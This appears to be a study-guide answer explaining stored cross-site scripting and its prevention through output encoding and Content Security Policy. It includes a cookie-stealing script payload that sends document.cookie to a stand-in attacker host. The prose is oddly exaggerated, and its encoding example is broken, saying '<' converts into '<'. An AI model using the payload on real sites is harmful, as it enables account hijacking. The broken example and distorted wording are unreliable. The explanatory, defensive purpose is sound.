Q17Information System Security

XSS is a catastrophic web vulnerability that occurs when a web application takes untrusted human input and blindly reflects it back onto a webpage without mathematical sanitization. The attacker violently bypasses backend database security by attacking the victim's browser directly.

The Attack Mechanism (Stored XSS)

• 1. An attacker visits a banking forum and leaves a comment: <script>fetch("http://hacker.com/?cookie=" + document.cookie)</script>.
• 2. The bank's database blindly stores this raw text.
• 3. A legitimate victim logs into the bank and visits the forum.
• 4. The victim's browser downloads the HTML. When it hits the <script> tag, the browser assumes the bank authorized it. The browser violently executes the JavaScript.
• 5. The script mathematically steals the victim's secure Session Cookie and blasts it to the hacker's server, instantly compromising the account.

Absolute Prevention Strategies

• 1. Strict Output Encoding: The absolute primary defense. Before echoing any user data to the screen, the server MUST mathematically encode HTML control characters. The < character is violently converted into <. When the browser sees <script>, it renders it as harmless visual text instead of executing it as code.
• 2. Content Security Policy (CSP): A rigid architectural HTTP header (Content-Security-Policy). The server explicitly commands the browser: "You are mathematically forbidden from executing ANY inline <script> tags, and you may only download JavaScript from https://trusted-bank.com." Even if the hacker injects the script, the browser violently refuses to execute it.